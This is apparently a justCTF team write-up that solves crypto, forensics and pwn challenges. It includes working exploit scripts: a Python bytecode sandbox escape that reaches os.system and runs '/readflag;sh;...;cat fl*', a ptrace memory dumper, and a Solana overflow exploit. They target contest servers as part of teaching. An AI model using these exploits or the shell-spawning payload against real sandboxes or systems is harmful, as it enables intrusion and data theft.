Crypto
Frosty
We could control the public key of verification, so we just let z=c, and make public key equal to the generator.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
from winpwn import *
import json
import subprocess
io = remote('frosty.nc.jctf.pro', 4445)
io.recvuntil('hashcash -mb26 ')
check = io.recv(8)
p = subprocess.Popen('E:\hashcash-0.32-win32-exe\hashcash-0.32-win32-exe\hashcash.exe -mb26 ' + check, shell=True, stdout=subprocess.PIPE)
out, err = p.communicate()
io.send(out[16:16 + 47].decode() + '\n')
exp = {"op": "verify",
"pubkey": ["188da80eb03090f67cbf20eb43a18800f4ff0afd82ff1012",
"7192b95ffc8da78631011ed6b24cdd573f977a11e794811"],
"z": "f5e09b4c6997a87917505316dce57dea0e59a15e134c03dd",
"c": "f5e09b4c6997a87917505316dce57dea0e59a15e134c03dd",
"m": '47696d6d6521'}
io.send(json.dumps(exp)+'\n')
io.interactive()
|
fROSty’s Second Signature Scheme
Int the sign function, Given D
, let the response["D"]
be -D
, R
will be a constant. We can also control msg
, thus c
is known. secret_nonce
is a small number compared to server_privkey_share * c, secret_nonce
is a random N bit value, let the expectation of secret_nonce be mean_nonce
, (z- mean_nonce)/c=server_privkey_share + e
where e is very small. We can recover the server_privkey_share by checking thatserver_pubkey_share == server_privkey_share * Curve.G. server_privkey_share = 4894979172874352169647192514370425511989305698962232813288
After that, we have to find out the right assignment of m
γz
and c
such that c == mod_hash(m, R)
. Again, let z
be server_privkey_share+client_privkey_share
and c
be 1
, R
will be Inf
and the result is mod_hash(msg, Inf)
, which is known.
Simply Powered
Just calculate the order of the group, then calculate the mod inverse of e
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
from winpwn import *
from Crypto.Util.number import *
def matrix_mul(A, B, n):
order = len(A)
C = [[0 for _ in range(order)] for _ in range(order)]
for i in range(order):
for j in range(order):
for k in range(order):
C[i][j] = (C[i][j] + A[i][k] * B[k][j]) % n
return C
def matrix_pow(base, index, n):
order = len(base)
C = [[0 for _ in range(order)] for _ in range(order)]
for i in range(len(C)):
C[i][i] = 1
while index > 0:
if index & 1:
C = matrix_mul(C, base, n)
base = matrix_mul(base, base, n)
index //= 2
return C
def calculate_order(p, n):
order = 1
for i in range(n):
order *= (p**n-p**i)
return order
io = remote('simply-powered-ams3.nc.jctf.pro', 4444)
for i in range(100):
io.recvuntil('e = ')
e = int(io.recvuntil('\n').strip())
io.recvuntil('p = ')
p = int(io.recvuntil('\n').strip())
io.recvuntil('Matrix(')
M1 = eval(io.recvuntil(')')[:-1])
phi = calculate_order(p, len(M1))
M0 = matrix_pow(M1, inverse(e, phi), p)
ans = int(sum(sum(v) for v in M0))
io.recvuntil('sum:')
io.send(str(ans) + '\n')
print(i)
io.interactive()
|
Misc
dumpme
First, we take a look at the binary. /task/dumpme
is a setuid binary, so we cannot dump it directly.
1
2
3
|
bash-4.4$ ls -al /task/dumpme
ls -al /task/dumpme
---s--x--x 1 65534 65534 12648 Jun 11 06:12 /task/dumpme
|
Then it come to my mind that we solved “read flag” challenge in zer0ptctf 2022. In that challenge, we use ptrace to trace the registers in the program. Give it a try.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
int main()
{
pid_t child;
long orig_rax;
child = fork();
if (child == 0)
{
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/task/dumpme", NULL, NULL);
}
else
{
struct user_regs_struct regs;
char buf[0x200];
wait(NULL);
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);
printf("orig_rax: %#llx\n", orig_rax);
ptrace(PTRACE_GETREGS, child, NULL, ®s);
print_regs(regs);
while(1) {
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, child, NULL, ®s);
print_regs(regs);
}
}
}
|
We find that the program starts at 0xfeedface000
and ends at 0xfeedface010
with exit_group
. So we decided to find a way to dump the magic 0x10 bytesγ
After a while, we coincidentally find we can modify the registers by ptrace. We just pause the program at 0xfeedface010
which is certainly a syscall instruction. In this stage, we let $rax = 1; $rdi = 1; $rsi = 0xfeedface000; $rdx = 0x1000
to run write(1, 0xfeedface000, 0x1000).
However, the instructions of the 0x10 bytes is nothing but exit. Then it hit me that auxv is at the stack of program. With the same way, we dump the stack, and get an interesting address of 0x1337babe000
which is the base address of the ELF file. The third time, we dump the ELF headers and treat it with readelf. The last interesting address is 0xdeadf00d000
. And the flag lies there.
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
|
#include <unistd.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/syscall.h>
#include <stddef.h>
void print_regs(struct user_regs_struct regs)
{
printf(
"======== rip %llx =======\n"
"rax %llx\n"
"rbx %llx\n"
"rcx %llx\n"
"rdx %llx\n"
"rsi %llx\n"
"rdi %llx\n"
"rbp %llx\n"
"rsp %llx\n"
"r8 %llx\n"
"r9 %llx\n"
"r10 %llx\n"
"r11 %llx\n"
"r12 %llx\n"
"r13 %llx\n"
"r14 %llx\n"
"r15 %llx\n",
regs.rip,
regs.rax,
regs.rbx,
regs.rcx,
regs.rdx,
regs.rsi,
regs.rdi,
regs.rbp,
regs.rsp,
regs.r8,
regs.r9,
regs.r10,
regs.r11,
regs.r12,
regs.r13,
regs.r14,
regs.r15
);
}
int main()
{
pid_t child;
long orig_rax;
child = fork();
if (child == 0)
{
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
execl("/task/dumpme", NULL, NULL);
}
else
{
struct user_regs_struct regs;
char buf[0x200];
int i = 0;
void *text_base = 0;
wait(NULL);
orig_rax = ptrace(PTRACE_PEEKUSER, child, 8 * ORIG_RAX, NULL);
printf("orig_rax: %#llx\n", orig_rax);
ptrace(PTRACE_GETREGS, child, NULL, ®s);
print_regs(regs);
printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RIP, 0xfeedface010));
printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RDI, 0x1));
// printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RSI, 0x1337babe000));
printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RSI, 0x00000deadf00d000));
printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RDX, 0x1000));
printf("%d\n", ptrace(PTRACE_POKEUSER, child, 8*RAX, 0x1));
ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
wait(NULL);
ptrace(PTRACE_GETREGS, child, NULL, ®s);
print_regs(regs);
// justCTF{tr4cing_blind_a1nt_that_h4rd}
}
}
|
Hardware Screen
Unzip the sal file, then find tag. So use saleae logic analyzer to open it.
We found two channels:
It uses I2C protocol.The white one is control channel, and the orange one is data channel. Luckily, the saleae can automaticly analyze the write command and the real data for us.
According to the picture, the chip connected to the LCD1602 through only 4 lines, which means they worked in serial mode.
Randomly finding some source, we know that in this mode, the high 4 bits is the real data while the low 4 bits is control data. And when (data & 0x0f)&5!=0, that means the chip is sending data(not command).
In the data we can find that the bytes always keep the format of “0x0,0x4,0x0” or “0x9,0xd,0x9”. Actually, the former are commands, and the latter is real data of(the high 4 bits in * is the real data).
In LCD1602, if the databyte is English characters, then it has the same code as ASCII.
Finally, we collect all data like"0x9,0xd,0x*9", and deal it with script.
1
2
3
4
5
6
|
for i in range(0,len(data),6):
hb=data[i]&0xf0
lb=data[i+3]&0xf0
print(chr(hb+lb//16),end='')
#justCTF{data_tr4nsfer_i2c}
|
Radio Ga Ga
We use urh to solve this challenge.
It’ s a morse code:
01101010 j
01110101 u
01110011 s
01110100 t
0100001101010100010001100111101101100010001100110101111101110001011101010011000100110011001101110101111100110000011100100101111100110111011010000011001101111001010111110111011100110001011011000110110001011111011010000011001100110100011100100101111101111001001100000111010101011111011000110110010001101101011011110110011001101110011100110110010001111101
Then we got the flag: justCTF{b3_qu137_0r_7h3y_w1ll_h34r_y0u_cdmofnsd}
Bifurcation (ppc)
just run two processes at the same time,and the correct letters are the same.So you can manually solved it.
Pwn
herpetology
This challenge is nearly identical to 0CTF 2021- pypypypy challenge, with the difference of (1) python 3.10, (2) having empty co_names
and (3) not limiting number of bytes. Basically we need to provide python bytecode with no co_names
to get shell but we do not have limitation of number of bytes.
As in what we did in 0CTF 2021- pypypypy challenge, we use the library “bytecode” to program python bytecode.
As (mostly) a revision of the pypypypy challenge, we see the following facts about how to use python bytecode to construct integers and strings without the requirement of consts. BUILD_TUPLE 0 yields ()
, UNARY_NOT on ()
yields False
and UNARY_NOT on False yields True
. They can be used as integer 0
and 1
. Arithmetic operation including UNARY_INVERT BINARY_LSHIFT and so on can help build larger integers. FORMAT_STRING 2 is a repr
primitive, and using it on a slice
yields a string containing char 'c'
, which can be extracted with BINARY_SUBSCR. FORMAT_STRING 4 with char 'c'
yields arbitrary chars, and using BUILD_STRING on the arbitrary chars, we finally find arbitrary string. By the way PRINT_EXPR can print arbitrary expression without the need of print
function.
Python bytecode indexes can overrun. So we can fetch oob resources in our bytecode. By providing a large index for co_names
we can use the name __getattribute__
as operand of LOAD_ATTR which is enough for the later python exploit.
Python 3.10 exploit without builtins is as follows (common knowledge):
1
2
3
4
5
|
c=().__getattribute__('__init__').__getattribute__('__objclass__')
# only this index changes with python versions
c=c.__getattribute__(c,'__subclasses__')()[100]
c=c.__getattribute__(c,'acquire').__getattribute__('__globals__')[
'sys'].__getattribute__('modules')['os'].__getattribute__('system')('ls -al')
|
And it is just a matter of works to build bytecodes for the exploit (since we already had the pypypypy exploit).
import codecs
import dis
import math
from bytecode import ConcreteInstr, Instr, Bytecode
# adapted from 0ctf 2021 pypypypy exploit
# also when golfing, use LOAD_FAST STORE_FAST for storage of crucial values? it may oob and crash
class IntegerGeneretor(object):
def __init__(self, maxint):
assert isinstance(maxint, int) and maxint > 4
self.maxint = maxint
self.net = {}
self.init_search()
for i in range(maxint.bit_length()*4):
print('ig iteration', i, len(self.net))
if len(self.net) >= maxint*2+1:
break
self.iterate()
assert len(self.net) >= maxint*2+1, 'some number is not generated'
def init_search(self):
self.net[1] = [Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT")]
self.net[0] = [Instr("BUILD_TUPLE", 0), Instr(
"UNARY_NOT"), Instr("UNARY_NOT")]
def generate(self, base):
yield(~base, [Instr("UNARY_INVERT")])
yield(-base, [Instr("UNARY_NEGATIVE")])
yield(base+base, [Instr("DUP_TOP"), Instr("BINARY_ADD")])
yield(base+base+base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_ADD"), Instr("BINARY_ADD")])
yield(base+base*base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_MULTIPLY"), Instr("BINARY_ADD")])
yield(base*base, [Instr("DUP_TOP"), Instr("BINARY_MULTIPLY")])
yield(base*base*base, [Instr("DUP_TOP"), Instr("DUP_TOP"), Instr("BINARY_MULTIPLY"), Instr("BINARY_MULTIPLY")])
if 2 <= base <= 8:
yield(base**base, [Instr("DUP_TOP"), Instr("BINARY_POWER")])
for i in range(int(math.sqrt(abs(base)))+2):
for j in (i, -i):
if j not in self.net:
continue
yield(base+j, self.net[j]+[Instr("BINARY_ADD")])
yield(base-j, self.net[j]+[Instr("BINARY_SUBTRACT")])
yield(base*j, self.net[j]+[Instr("BINARY_MULTIPLY")])
if 0 < j < base.bit_length():
yield(base << j, self.net[j]+[Instr("BINARY_LSHIFT")])
yield(base >> j, self.net[j]+[Instr("BINARY_RSHIFT")])
def iterate(self):
its = sorted(self.net)
for i in its:
base = self.net[i]
for result, append in self.generate(i):
if result < -self.maxint or result > self.maxint:
continue
if result not in self.net or len(base)+len(append) < len(self.net[result]):
self.net[result] = base+append
def do_solve(self, i):
if i in self.net:
return self.net[i]
k = 0
while (i & 1) == 0:
k += 1
i >>= 1
return self.solve(~i) + [Instr("UNARY_INVERT")]+self.solve(k)+[Instr("BINARY_LSHIFT")]
def solve(self, i):
ans = self.do_solve(i)
if i not in self.net:
self.net[i] = ans
return ans
ig = IntegerGeneretor(0x20)
push_integer = ig.solve
def gen_docs():
fast_tuple = repr(slice({}, [], None))
slow_tuple = repr(slice(True, False, None))
return [
(fast_tuple, [
Instr("BUILD_MAP", 0),
Instr("BUILD_LIST", 0),
Instr("BUILD_SLICE", 2),
Instr("FORMAT_VALUE", 2),
]),
(slow_tuple, [
Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT"),
Instr("BUILD_TUPLE", 0), Instr("UNARY_NOT"), Instr("UNARY_NOT"),
Instr("BUILD_SLICE", 2),
Instr("FORMAT_VALUE", 2),
]),
]
docs = gen_docs()
def push_ch(c):
# when golf is needed, change the implementation with dynamic programming
cand = []
for (doc, cmd) in docs:
if c in doc:
cand.append(cmd +
push_integer(doc.index(c))+[Instr("BINARY_SUBSCR")])
if cand:
minlen = min([len(i) for i in cand])
for i in cand:
if len(i) == minlen:
return i
return push_integer(ord(c))+push_ch('c')+[Instr("FORMAT_VALUE", 4)]
def push_imms(s):
# when golf is needed, change the implementation with dynamic programming
cand = []
for (doc, cmd) in docs:
if s in doc:
cd = []
cd += cmd
cd += push_integer(doc.index(s))
cd += [Instr("DUP_TOP")]
cd += push_integer(len(s))
cd += [Instr("BUILD_SLICE", 2)]
cd += [Instr("BINARY_SUBSCR")]
cand.append(cd)
if cand:
minlen = min([len(i) for i in cand])
for i in cand:
if len(i) == minlen:
return i
def push_str1(s):
# doc may have longer string; we only concat them with chars, that could be a waste
# we may also make a string by all chr and cache the string 'c' and even store not the ascii but the difference of ascii
# when golf is needed, optimize this
# return [Instr("LOAD_CONST", s)]
cand1 = [j for i in s for j in push_ch(i)]+[Instr("BUILD_STRING", len(s))]
cand2 = push_imms(s)
if cand2 is not None and len(cand2) < len(cand1):
print('str1 engine for', s, 'uses direct slice')
cand1 = cand2
return cand1
def push_str2(s, base=None):
if base is None:
sl = [ord(i) for i in s]
base = int(sum(sl)/len(sl))
pl = push_ch('c')+push_integer(base)
for ii in range(len(s)):
i = s[ii]
if ii > 0 and s[ii] == s[ii-1]:
pl = pl[:-1]+[Instr("DUP_TOP"), Instr("ROT_FOUR"),
Instr("ROT_THREE")]
else:
subpl = []
subpl += [Instr("DUP_TOP_TWO")]
if ord(i)-base != 0:
subpl += push_integer(ord(i)-base)
subpl += [Instr("BINARY_ADD")]
subpl += [Instr("ROT_TWO")]
subpl += [Instr("FORMAT_VALUE", 4)]
subpl2 = push_ch(i)
if len(subpl2) < len(subpl):
subpl = subpl2
pl += subpl
pl += [Instr("ROT_THREE")]
pl += [Instr("POP_TOP")]
pl += [Instr("POP_TOP")]
return pl+[Instr("BUILD_STRING", len(s))]
def push_str(s):
cand = []
cand.append((push_str1(s), 'pushstr1'))
for k in range(0x20, 0x90, 0x1):
cand.append((push_str2(s, k), ('pushstr2', hex(k))))
minlen = min([len(i[0]) for i in cand])
for i in cand:
if len(i[0]) == minlen:
print('chosen', i[1], 'for', s)
return i[0]
# __getattribute__ = 0x212,206,210
# os = 0x3b8
# __class__ = 0x429
# __subclasses__ = 0x6cd
banner = [Instr("BUILD_TUPLE", 0), Instr(
"BUILD_TUPLE", 1), Instr("PRINT_EXPR")]
print_top = [Instr("DUP_TOP"), Instr("PRINT_EXPR")]+banner
print_top2 = [Instr("DUP_TOP_TWO"), Instr(
"PRINT_EXPR"), Instr("PRINT_EXPR")]+banner
cmd = '/readflag;sh;id;pwd;ls -al;cat fl*'
inst_l = []
"""
in python3.10 the offset will be 100
c=().__getattribute__('__init__').__getattribute__('__objclass__')
c=c.__getattribute__(c,'__subclasses__')()[100]
c=c.__getattribute__(c,'acquire').__getattribute__('__globals__')['sys'].__getattribute__('modules')['os'].__getattribute__('system')('ls -al')
"""
# spray getattributes
inst_l += push_str('__getattribute__')
inst_l += [Instr("BUILD_LIST", 1)]
inst_l += print_top
SPRAY_N = 12
for i in range(SPRAY_N):
inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LIST_EXTEND", 0)]
inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LIST_TO_TUPLE")]
inst_l += [Instr("ROT_TWO")]
inst_l += [Instr("BUILD_TUPLE", SPRAY_N+1)]
inst_l += [Instr("BUILD_TUPLE", 0)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__init__')
inst_l += print_top2
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__objclass__')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += [Instr("ROT_TWO")]
inst_l += print_top2
inst_l += push_str('__subclasses__')
inst_l += [Instr("CALL_FUNCTION", 2)]
inst_l += [Instr("CALL_FUNCTION", 0)]
inst_l += push_integer(100)
inst_l += [Instr("BINARY_SUBSCR")]
inst_l += [Instr("DUP_TOP")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += [Instr("ROT_TWO")]
inst_l += print_top2
inst_l += push_str('acquire')
inst_l += [Instr("CALL_FUNCTION", 2)]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('__globals__')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str('sys')
inst_l += [Instr("BINARY_SUBSCR")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('modules')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str('os')
inst_l += [Instr("BINARY_SUBSCR")]
inst_l += [Instr("LOAD_ATTR", '__getattribute__')]
inst_l += push_str('system')
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += push_str(cmd)
inst_l += [Instr("CALL_FUNCTION", 1)]
inst_l += [Instr("RETURN_VALUE")]
# test
#inst_l = []
#inst_l += push_integer(12343211234321567890)
#inst_l += [Instr("PRINT_EXPR")]
#doc_v, inst_v = docs[1]
#inst_l = [] + inst_v
#print('expect', repr(doc_v))
#inst_l = []
inst_l += [Instr("RETURN_VALUE")]
bytecode = Bytecode(inst_l)
code = bytecode.to_code()
def pretty_code(code):
for i in dir(code):
if not i.startswith('co_'):
continue
if i == 'co_code':
bc = getattr(code, i)
print(i, ':', len(bc), codecs.encode(bc, 'hex'))
else:
print(i, ':', repr(getattr(code, i)))
dis.disassemble(code)
dis.dis(code.co_code)
pretty_code(code)
val = eval(code, {'__builtins__': None}, {})
print('returned', repr(val))
binary = code.co_code
with open('final_payload.bin', 'wb') as f:
f.write(binary)
Then we bruteforce the offset of __getattribute__
with the following script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
|
import sys
import codecs
# adapted from 0ctf 2021 pypypypy exploit
# with open('final_payload.bin', 'rb') as f:
# s = f.read()
s = bytes.fromhex(
'6900670085029b0266000c000400040017001700190066000c00040017000f00040014'
'000f0004000400170017000f0066000c00040017003e00050066000c000f0004001400'
'04000400140017000f00170002009b04040006000300050066000c000f000400170004'
'000400140017000f00170002009b0403006900670085029b0266000c000f0004001400'
'19000300050002009b040300050066000c00040017000f0004001400040017000f0017'
'0002009b040300050002009b04040006000300050066000c000f00170002009b040300'
'6900670085029b0266000c000400170019000300050066000c000f0004001400040017'
'000f0004001700170002009b040300050066000c00170002009b040300050002009b04'
'03006900670085029b0266000c000f000400140019000300050066000c000f00040014'
'0004000400140017000f00170002009b04040006000300010001009d10670104004600'
'6600660146000400a2000400520002000400a2000400520002000400a2000400520002'
'000400a2000400520002000400a2000400520002000400a2000400520002000400a200'
'0400520002000400a2000400520002000400a2000400520002000400a2000400520002'
'000400a2000400520002000400a200040052000200660d66006a006900670085029b02'
'66000c000400040017001700190066000c00040017000f0066000c000f00040014000f'
'000b003e000f0066000c000c003e00050002009b040400060003006900670085029b02'
'66000c0004001700190003006900670085029b0266000c000f00040017000400140019'
'0003006900670085029b0266000c000400170019000300050066000c000f0004000400'
'140014000f000400040017001700170002009b040300050002009b0404000600030001'
'0001009d0805004600460066006601460083016a006900670085029b0266000c000400'
'040017001700190066000c00040017000f0066000c000f00040014000f000b003e000f'
'0066000c000c003e00050002009b04040006000300050066000c000f00040017000400'
'1400170002009b040300050066000c000400040017001700170002009b040300050066'
'000c000f000400040017001700040017000f00170002009b040300050066000c000f00'
'04001400170002009b0403006900670085029b0266000c0019000300050066000c0004'
'001700170002009b0403006900670085029b0266000c000c0019000400060003000500'
'02009b04040006000300010001009d0c830104006a0002000500460046006600660146'
'006900670085029b0266000c000400040017001700190066000c000f00040017000f00'
'66000c000f00040014003e000f0066000c003e000f0066000c000c003e00050066000c'
'000f00170002009b040400060003006900670085029b0266000c000c00190003000500'
'66000c000f00040014000400040014001700170002009b040300050066000c00170002'
'009b040300050066000c0004001700170002009b0403006900670085029b0266000c00'
'19000300050002009b0403006900670085029b0266000c000c00190004000600030005'
'0066000c000f0004001400170002009b0403006900670085029b0266000c000c001900'
'0300050066000c000f00170002009b04040006000300010001009d0e8302830066000c'
'000f00040014000f00040014000f000f0066000c00040017003e00190004006a000200'
'0500460046006600660146006900670085029b0266000c000400040017001700190066'
'000c000400040017001700040013000f000b000f0066000c003e000f0066000c003e00'
'050066000c000f0004001700040014000f00170002009b0403006900670085029b0266'
'000c00040004001700170019000300050066000c000b00170002009b04030005006600'
'0c000400040017001700170002009b0403006900670085029b0266000c000400170019'
'000300050002009b0403006900670085029b0266000c000f0004001400190003000100'
'01009d0783026a006900670085029b0266000c000400040017001700190066000c0004'
'0017000f0066000c000f00040014000f000b003e000f0066000c000c003e0005000200'
'9b04040006000300050066000c000f000400140004001700170002009b040300690067'
'0085029b0266000c0019000300050066000c000f000400170004001400170002009b04'
'0300050066000c000400040017001700170002009b040300050066000c000400170017'
'0002009b0403006900670085029b0266000c00190003006900670085029b0266000c00'
'0c0019000300050002009b04040006000300010001009d0b83016900670085029b0266'
'000c000c00190066000c000f0004001700040014000b000f0066000c00040017003e00'
'0f0066000c003e000f0066000c000c003e006900670085029b0266000c000400040017'
'00170019009b046900670085029b0266000c000c0019009d0319006a00690067008502'
'9b0266000c000400040017001700190066000c000400040017001700040013000f000f'
'0066000c00040017003e00050066000c00170002009b040300050066000c0004000400'
'17001700170002009b040300050066000c000f000400040014001400170002009b0403'
'00050066000c00040017000f0004001400170002009b040300050002009b0403006900'
'670085029b0266000c000f0004001400190003006900670085029b0266000c000c0019'
'000300010001009d0783016900670085029b0266000c000f0004000400140014000400'
'17000f0019006900670085029b0266000c000c0019009d0219006a006900670085029b'
'0266000c000400040017001700190066000c000400040017001700040013000f000b00'
'0f0066000c00040017003e000f0066000c000c003e00050002009b040300050066000c'
'00040017000400040017001700170002009b040300050002009b040300050066000c00'
'170002009b0403006900670085029b0266000c000f000400140019000300050066000c'
'000f000400040017001700170002009b040300010001009d0683016900670085029b02'
'66000c000400040017001700190066000c000f00040014000400170004000400170017'
'000f0066000c00040017003e000f0066000c000c003e00050066000c000f0004001700'
'04000400140017000f0066000c00040017003e00170002009b040300050066000c000f'
'000400040014001400040017000f00170002009b040300050066000c00040017001700'
'02009b040300050066000c000f00170002009b040300050066000c00170002009b0403'
'00050066000c000400040017001700170002009b0403006900670085029b0266000c00'
'19000300050066000c000f00170002009b040300050066000c000f0004001400170002'
'009b040300050066000c000f00040014000f0066000c0004000400170017003e001700'
'02009b0403006900670085029b0266000c000c0019000300050066000c000f00040014'
'000f000b00170002009b040300050066000c000f00040014000f0066000c0004000400'
'170017003e00170002009b0403006900670085029b0266000c00040017001900030005'
'0066000c00170002009b040300050066000c000f00040014000f0066000c0004000400'
'170017003e00170002009b040300050066000c0004000400170017000400130066000c'
'003f00170002009b040300050066000c000f0004001400040004001400170017000200'
'9b040300050066000c00170002009b040300050066000c000f00040014000f0066000c'
'0004000400170017003e00170002009b0403006900670085029b0266000c0019000300'
'6900670085029b0266000c000c00190003006900670085029b0266000c00040017000f'
'000400140019000300050066000c00040017000f0004000400140014000f000f006600'
'0c003e00170002009b040300050066000c000f00170002009b0403006900670085029b'
'0266000c0019000300050066000c000f00040014000f0066000c000400040017001700'
'3e00170002009b040300050002009b040300050066000c000f00170002009b04030005'
'0066000c000f00040017000400140066000c001700170002009b040300690067008502'
'9b0266000c00040017000f000400140019000300050066000c00040004001700170017'
'0002009b0403006900670085029b0266000c0019000300050066000c000f0004000400'
'140014000f0066000c0004000400170017003e000f0066000c000c003e00170002009b'
'040300010001009d22830153005300'
)
def pack(index):
if index == 0:
return b'\x6a\x00'
# 90 xx 90 xx 6a xx
l = []
assert index > 0
while index:
l.append(index & 0xff)
l.append(0x90)
index >>= 8
l[1] = 0x6a
l = l[::-1]
return bytes(bytearray(l))
def mark(index):
trick = pack(index)
sl = [s[i*2:(i+1)*2] for i in range(len(s)//2)]
sl = [trick if i == b'\x6a\x00' else i for i in sl]
return b''.join(sl)
if __name__ == '__main__':
# 4160 is locally bruteforced offset
#offset = int(sys.argv[1], 0)
offset = 4160
#offset = 10844
from pwn import remote, context
context.log_level = 'error'
for offset in range(40000):
# for _ in range(1):
if offset % 64 == 0:
print('stage', offset)
mk = mark(offset)
payload = str(len(mk)).encode('ascii')+b'\n'+mk
with remote('localhost', 37259) as r:
# with remote('herpetology.pwn.jctf.pro', 37259) as r:
r.send(payload)
r.recvuntil('__getattribute__')
try:
v = r.recvn(10)
except EOFError:
# most cases remote outputs 9 char and then crashes
# eliminate these cases
continue
print('offset', offset, len(v))
# this may or may not be a shell
# 20% of the offsets reaching here are shell
r.interactive()
|
We find out the offset 4160 locally, and we try it remotely. Luckily we have the flag as well:
League of Lamports
Its pretty much the same as some previous CTF solana challenge, using the same framework to deploy the environment, specifically, picoCTF solfire and angCTF beachside.
So the main difference is shown as below:
- handle_create function generates program’s PDA, not solver’s PDA
- The bug is int16 overflow
so the first step is to call the create function and, to prepare, generate the PDA manually.
Then, for detailed solutions, just follow the next steps:
- Deposit 5
- Withdraw 2
- Withdraw 0xffff
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
|
from pwn import *
from base58 import b58decode, b58encode
from solana_helpers import find_program_address
from solana.publickey import PublicKey
context.log_level = 'debug'
p=remote('league-of-lamports.nc.jctf.pro', 1337)
#p = remote("127.0.0.1", 8080)
with open('./solve/dist/solve.so','rb') as f:
content = f.read()
f.close()
p.sendlineafter(b'length: ',str(len(content)).encode('ascii'))
p.send(content)
# get 3 accounts
#p.interactive()
p.recvuntil(': ')
program_pubkey = p.recvline().rstrip().decode()
p.recvuntil(': ')
solve_pubkey = p.recvline().rstrip().decode()
p.recvuntil(': ')
user_pubkey = p.recvline().rstrip().decode()
_, solfire_bump_seed = PublicKey.find_program_address([], PublicKey(program_pubkey))
balances_pubkey, balances_bump_seed = PublicKey.find_program_address([b"wallet"], PublicKey(program_pubkey))
balances_pubkey = balances_pubkey.to_base58().decode()
vault_pubkey, vault_bump_seed = PublicKey.find_program_address([b"vault"], PublicKey(program_pubkey))
vault_pubkey = vault_pubkey.to_base58().decode()
log.success(f'program: {program_pubkey}')
log.success(f'solve: {solve_pubkey}')
log.success(f'user: {user_pubkey}')
log.success(f"ledger: {balances_pubkey} {balances_bump_seed}")
log.success(f"vault: {vault_pubkey} {vault_bump_seed}")
# metadata
#p.recvuntil("num accounts:")
p.sendline("7")
p.sendline(f"r SysvarC1ock11111111111111111111111111111111")
p.sendline(f"r 11111111111111111111111111111111")
p.sendline(f"w {balances_pubkey}")
p.sendline(f"w {vault_pubkey}")
p.sendline(f"ws {user_pubkey}")
p.sendline(f"r {program_pubkey}")
p.sendline(f"w {solve_pubkey}")
# ix
buf= p8(balances_bump_seed) + p8(vault_bump_seed) + p8(solfire_bump_seed)
#p.recvuntil('ix len:')
p.sendline(str(len(buf)))
p.send(buf)
ix_data = b''
p.sendline(str(len(ix_data)))
p.send(ix_data)
print(p.recvall().decode())
# p.interactive()
# picoCTF{=========}
|
Contract:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
